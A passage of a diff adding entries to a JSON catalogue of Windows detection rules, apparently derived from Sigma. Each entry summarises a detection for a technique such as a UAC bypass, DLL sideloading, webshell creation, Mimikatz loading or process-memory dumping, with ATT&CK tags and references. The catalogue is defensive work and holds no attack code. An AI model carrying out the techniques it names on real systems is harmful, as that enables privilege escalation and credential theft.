"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_consent_comctl32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "file_event_win_uac_bypass_consent_comctl32.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)", + "uuid": "93a19907-d4f9-4deb-9f91-aac4692776a6", + "value": "UAC Bypass Using .NET Code Profiler on MMC", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_dotnet_profiler.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "file_event_win_uac_bypass_dotnet_profiler.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of a UAC bypass using Windows Event Viewer", + "uuid": "63e4f530-65dc-49cc-8f80-ccfa95c69d43", + "value": "UAC Bypass Using EventVwr", + "meta": { + "refs": [ + "https://twitter.com/orange_8361/status/1518970259868626944?s=20&t=RFXqZjtA7tWM3HxqEH78Aw", + "https://twitter.com/splinter_code/status/1519075134296006662?s=12&t=DLUXH86WtcmG_AZ5gY3C6g", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_eventvwr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation" + ], + "creation_date": "2022/04/27", + "filename": "file_event_win_uac_bypass_eventvwr.yml", + "author": "Antonio Cocomazzi (idea), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a file by \"dllhost.exe\" in System32 directory part of \"IDiagnosticProfileUAC\" UAC bypass technique", + "uuid": "48ea844d-19b1-4642-944e-fe39c2cc1fec", + "value": "UAC Bypass Using IDiagnostic Profile - File", + "meta": { + "refs": [ + "https://github.com/Wh04m1001/IDiagnosticProfileUAC", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_idiagnostic_profile.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2022/07/03", + "filename": "file_event_win_uac_bypass_idiagnostic_profile.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", + "uuid": "bdd8157d-8e85-4397-bb82-f06cc9c71dbb", + "value": "UAC Bypass Using IEInstal - File", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ieinstal.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "file_event_win_uac_bypass_ieinstal.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", + "uuid": "41bb431f-56d8-4691-bb56-ed34e390906f", + "value": "UAC Bypass Using MSConfig Token Modification - File", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_msconfig_gui.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "file_event_win_uac_bypass_msconfig_gui.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", + "uuid": "7fff6773-2baa-46de-a24a-b6eec1aba2d1", + "value": "UAC Bypass Using NTFS Reparse Point - File", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ntfs_reparse_point.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "file_event_win_uac_bypass_ntfs_reparse_point.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", + "uuid": "155dbf56-e0a4-4dd0-8905-8a98705045e8", + "value": "UAC Bypass Abusing Winsat Path Parsing - File", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_winsat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "file_event_win_uac_bypass_winsat.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", + "uuid": "68578b43-65df-4f81-9a9b-92f32711a951", + "value": "UAC Bypass Using Windows Media Player - File", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_wmp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "file_event_win_uac_bypass_wmp.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Possible webshell file creation on a static web site", + "uuid": "39f1f9f2-9636-45de-98f6-a4046aa8e4b9", + "value": "Windows Webshell Creation", + "meta": { + "refs": [ + "PT ESC rule and personal experience", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_webshell_creation_detect.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2019/10/22", + "filename": "file_event_win_webshell_creation_detect.yml", + "author": "Beyu Denis, oscd.community, Tim Shelton", + "level": "high", + "falsepositive": [ + "Legitimate administrator or developer creating legitimate executable files in a web application folder" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects WerFault copoed to a suspicious folder, which could be a sign of WerFault DLL hijacking", + "uuid": "28a452f3-786c-4fd8-b8f2-bddbe9d616d1", + "value": "Creation of an WerFault.exe in Unusual Folder", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/hackers-are-now-hiding-malware-in-windows-event-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_werfault_dll_hijacking.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1574.001" + ], + "creation_date": "2022/05/09", + "filename": "file_event_win_werfault_dll_hijacking.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", + "uuid": "d353dac0-1b41-46c2-820c-d7d2561fc6ed", + "value": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl", + "meta": { + "refs": [ + "https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winrm_awl_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/06", + "filename": "file_event_win_winrm_awl_bypass.yml", + "author": "Julia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects file creation patterns noticeable during the exploitation of CVE-2021-40444", + "uuid": "60c0a111-787a-4e8a-9262-ee485f3ef9d5", + "value": "Suspicious Word Cab File Write CVE-2021-40444", + "meta": { + "refs": [ + "https://twitter.com/RonnyTNL/status/1436334640617373699?s=20", + "https://twitter.com/vanitasnk/status/1437329511142420483?s=21", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winword_cve_2021_40444.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587" + ], + "creation_date": "2021/09/10", + "filename": "file_event_win_winword_cve_2021_40444.yml", + "author": "Florian Roth, Sittikorn S", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of the default output filename used by the wmicexec tool", + "uuid": "8d5aca11-22b3-4f22-b7ba-90e60533e1fb", + "value": "Wmiexec Default Output File", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiexec_default_filename.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1047" + ], + "creation_date": "2022/06/02", + "filename": "file_event_win_wmiexec_default_filename.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", + "uuid": "614a7e17-5643-4d89-b6fe-f9df1a79641c", + "value": "Wmiprvse Wbemcomn DLL Hijack", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiprvse_wbemcomn_dll_hijack.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/10/12", + "filename": "file_event_win_wmiprvse_wbemcomn_dll_hijack.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects file writes of WMI script event consumer", + "uuid": "33f41cdd-35ac-4ba8-814b-c6a4244a1ad4", + "value": "WMI Persistence - Script Event Consumer File Write", + "meta": { + "refs": [ + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmi_persistence_script_event_consumer_write.yml" + ], + "tags": [ + "attack.t1546.003", + "attack.persistence" + ], + "creation_date": "2018/03/07", + "filename": "file_event_win_wmi_persistence_script_event_consumer_write.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Dell Power Manager (C:\\Program Files\\Dell\\PowerManager\\DpmPowerPlanSetup.exe)" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of template files for Microsoft Office from outside Office", + "uuid": "0e20c89d-2264-44ae-8238-aeeaba609ece", + "value": "Office Template Creation", + "meta": { + "refs": [ + "https://insight-jp.nttsecurity.com/post/102hojk/operation-restylink-apt-campaign-targeting-japanese-companies", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_word_template_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137" + ], + "creation_date": "2022/06/02", + "filename": "file_event_win_word_template_creation.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Loading a user environment from a backup or a domain controller", + "Synchronization of templates" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a file named \"wpbbin\" in the \"%systemroot%\\system32\\\" directory. Which could be indicative of UEFI based persistence method", + "uuid": "e94b9ddc-eec5-4bb8-8a58-b9dc5f4e185f", + "value": "UEFI Persistence Via Wpbbin - FileCreation", + "meta": { + "refs": [ + "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c", + "https://persistence-info.github.io/Data/wpbbin.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wpbbin_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1542.001" + ], + "creation_date": "2022/07/18", + "filename": "file_event_win_wpbbin_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Aversaries may use to interact with a remote network share using Server Message Block (SMB).\nThis technique is used by post-exploitation frameworks.\n", + "uuid": "4aafb0fa-bff5-4b9d-b99e-8093e659c65f", + "value": "Writing Local Admin Share", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-4---execute-command-writing-output-to-local-admin-share", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_writing_local_admin_share.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1546.002" + ], + "creation_date": "2022/01/01", + "filename": "file_event_win_writing_local_admin_share.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects cases in which a file gets renamed to .dll, which often happens to bypass perimeter protection", + "uuid": "bbfd974c-248e-4435-8de6-1e938c79c5c1", + "value": "Rename Common File to DLL File", + "meta": { + "refs": [ + "https://twitter.com/ffforward/status/1481672378639912960", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036/T1036.md#atomic-test-1---system-file-copied-to-unusual-location", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_not_dll_to_dll.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/19", + "filename": "file_rename_win_not_dll_to_dll.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Application installation" + ], + "logsource.category": "file_rename", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible ransomware adding a custom extension to the encrypted files, such as \".jpg.crypted\", \".docx.locky\" etc.", + "uuid": "e3f673b3-65d1-4d80-9146-466f8b63fa99", + "value": "Suspicious Appended Extension", + "meta": { + "refs": [ + "https://app.any.run/tasks/d66ead5a-faf4-4437-93aa-65785afaf9e5/", + "https://blog.cyble.com/2022/08/10/onyx-ransomware-renames-its-leak-site-to-vsop/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_ransomware.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ], + "creation_date": "2022/07/16", + "filename": "file_rename_win_ransomware.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Backup software" + ], + "logsource.category": "file_rename", + "logsource.product": "windows" + } + }, + { + "description": "Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account)\nwanting to perform SSO authentication in the browser.\nAn attacker can use this to authenticate to Azure AD in a browser as that user.\n", + "uuid": "50f852e6-af22-4c78-9ede-42ef36aa3453", + "value": "Abusing Azure Browser SSO", + "meta": { + "refs": [ + "https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_abusing_azure_browser_sso.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.002" + ], + "creation_date": "2020/07/15", + "filename": "image_load_abusing_azure_browser_sso.yml", + "author": "Den Iuzvyk", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", + "uuid": "fe6e002f-f244-4278-9263-20e4b593827f", + "value": "Alternate PowerShell Hosts", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190610201010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_alternate_powershell_hosts_moduleload.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/09/12", + "filename": "image_load_alternate_powershell_hosts_moduleload.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects loading of Microsoft Defender's DLLs by its processes (MpCmdRun and NisSrv) from the non-default directory which may be an attempt to sideload arbitrary DLL", + "uuid": "418dc89a-9808-4b87-b1d7-e5ae0cb6effc", + "value": "Microsoft Defender Loading DLL from Nondefault Path", + "meta": { + "refs": [ + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_defender_load_dll_from_nondefault_path.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/02", + "filename": "image_load_defender_load_dll_from_nondefault_path.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Very unlikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL image load activity as used by FoggyWeb backdoor loader", + "uuid": "640dc51c-7713-4faa-8a0e-e7c0d9d4654c", + "value": "FoggyWeb Backdoor DLL Loading", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_foggyweb_nobelium.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587" + ], + "creation_date": "2021/09/27", + "filename": "image_load_foggyweb_nobelium.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects loading of essential DLL used by PowerShell, but not by the process powershell.exe. Detects meterpreter's \"load powershell\" extension.", + "uuid": "092bc4b9-3d1d-43b4-a6b4-8c8acd83522f", + "value": "In-memory PowerShell", + "meta": { + "refs": [ + "https://adsecurity.org/?p=2921", + "https://github.com/p3nt4/PowerShdll", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_in_memory_powershell.yml" + ], + "tags": [ + "attack.t1059.001", + "attack.execution" + ], + "creation_date": "2019/11/14", + "filename": "image_load_in_memory_powershell.yml", + "author": "Tom Kern, oscd.community, Natalia Shornikova, Tim Shelton", + "level": "medium", + "falsepositive": [ + "Used by some .NET binaries, minimal on user workstation.", + "Used by Microsoft SQL Server Management Studio" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects certain DLL loads when Mimikatz gets executed", + "uuid": "c0478ead-5336-46c2-bd5e-b4c84bc3a36e", + "value": "Mimikatz In-Memory", + "meta": { + "refs": [ + "https://securityriskadvisors.com/blog/post/detecting-in-memory-mimikatz/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_mimikatz_inmemory_detection.yml" + ], + "tags": [ + "attack.s0002", + "attack.t1003", + "attack.lateral_movement", + "attack.credential_access", + "car.2019-04-004" + ], + "creation_date": "2017/03/13", + "filename": "image_load_mimikatz_inmemory_detection.yml", + "author": "sigma", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects both of CVE-2022-30190 / Follina and DogWalk vulnerability exploiting msdt.exe binary to load sdiageng.dll binary", + "uuid": "ec8c4047-fad9-416a-8c81-0f479353d7f6", + "value": "MSDT.exe Loading Diagnostic Library", + "meta": { + "refs": [ + "https://www.securonix.com/blog/detecting-microsoft-msdt-dogwalk/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_msdt_sdiageng.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202", + "cve.2022.30190" + ], + "creation_date": "2022/06/17", + "filename": "image_load_msdt_sdiageng.yml", + "author": "Greg (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects processes loading modules related to PCRE.NET package", + "uuid": "84b0a8f3-680b-4096-a45b-e9a89221727c", + "value": "PCRE.NET Package Image Load", + "meta": { + "refs": [ + "https://twitter.com/rbmaslen/status/1321859647091970051", + "https://twitter.com/tifkin_/status/1321916444557365248", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pcre_net_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/10/29", + "filename": "image_load_pcre_net_load.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", + "uuid": "35a7dc42-bc6f-46e0-9f83-81f8e56c8d4b", + "value": "Pingback Backdoor", + "meta": { + "refs": [ + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", + "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pingback_backdoor.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.001" + ], + "creation_date": "2021/05/05", + "filename": "image_load_pingback_backdoor.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Very unlikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects rundll32 loading a renamed comsvcs.dll to dump process memory", + "uuid": "8cde342c-ba48-4b74-b615-172c330f2e93", + "value": "Rundll32 Loading Renamed Comsvcs DLL", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1555200155351228419", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_rundll32_loading_renamed_comsvcs.yml" + ], + "tags": [ + "attack.credential_access", + "attack.defense_evasion", + "attack.t1003.001" + ], + "creation_date": "2022/08/14", + "filename": "image_load_rundll32_loading_renamed_comsvcs.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects signs of the WMI script host process %SystemRoot%\\system32\\wbem\\scrcons.exe functionality being used via images being loaded by a process.", + "uuid": "b439f47d-ef52-4b29-9a2f-57d8a96cb6b8", + "value": "WMI Script Host Process Image Loaded", + "meta": { + "refs": [ + "https://twitter.com/HunterPlaybook/status/1301207718355759107", + "https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/", + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_scrcons_imageload_wmi_scripteventconsumer.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.003" + ], + "creation_date": "2020/09/02", + "filename": "image_load_scrcons_imageload_wmi_scripteventconsumer.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Legitimate event consumers", + "Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc", + "uuid": "552b6b65-df37-4d3e-a258-f2fc4771ae54", + "value": "Antivirus Software DLL Sideloading", + "meta": { + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_antivirus.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2022/08/17", + "filename": "image_load_side_load_antivirus.yml", + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "level": "medium", + "falsepositive": [ + "Applications that load the same dlls mentioned in the detection section. Investigate them and filter them out if a lot FPs are caused.", + "Dell SARemediation plugin folder (C:\\Program Files\\Dell\\SARemediation\\plugin\\log.dll) is known to contain the 'log.dll' file.", + "The Canon MyPrinter folder 'C:\\Program Files\\Canon\\MyPrinter\\' is known to contain the 'log.dll' file" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL sideloading of \"dbgcore.dll\"", + "uuid": "9ca2bf31-0570-44d8-a543-534c47c33ed7", + "value": "DLL Sideloading Of DBGCORE.DLL", + "meta": { + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbgcore_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2022/10/25", + "filename": "image_load_side_load_dbgcore_dll.yml", + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "level": "medium", + "falsepositive": [ + "Legitimate applications loading their own versions of the DLL mentioned in this rule" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL sideloading of \"dbghelp.dll\"", + "uuid": "6414b5cd-b19d-447e-bb5e-9f03940b5784", + "value": "DLL Sideloading Of DBGHELP.DLL", + "meta": { + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2022/10/25", + "filename": "image_load_side_load_dbghelp_dll.yml", + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "level": "medium", + "falsepositive": [ + "Legitimate applications loading their own versions of the DLL mentioned in this rule" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64...)", + "uuid": "4fc0deee-0057-4998-ab31-d24e46e0aba4", + "value": "System DLL Sideloading From Non System Locations", + "meta": { + "refs": [ + "https://hijacklibs.net/", + "https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/", + "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", + "https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_from_non_system_location.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2022/08/14", + "filename": "image_load_side_load_from_non_system_location.yml", + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research), Chris Spehn (research WFH Dridex), XForceIR (SideLoadHunter Project)", + "level": "medium", + "falsepositive": [ + "Legitimate applications loading their own versions of the DLLs mentioned in this rule" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location", + "uuid": "829a3bdf-34da-4051-9cf4-8ed221a8ae4f", + "value": "Microsoft Office DLL Sideload", + "meta": { + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_office_dlls.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1574.001", + "attack.t1574.002" + ], + "creation_date": "2022/08/17", + "filename": "image_load_side_load_office_dlls.yml", + "author": "Nasreddine Bencherchali, Wietze Beukema (project and research)", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc)", + "uuid": "f9df325d-d7bc-4a32-8a1a-2cc61dcefc63", + "value": "Third Party Software DLL Sideloading", + "meta": { + "refs": [ + "https://hijacklibs.net/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_third_party.yml" + ], + 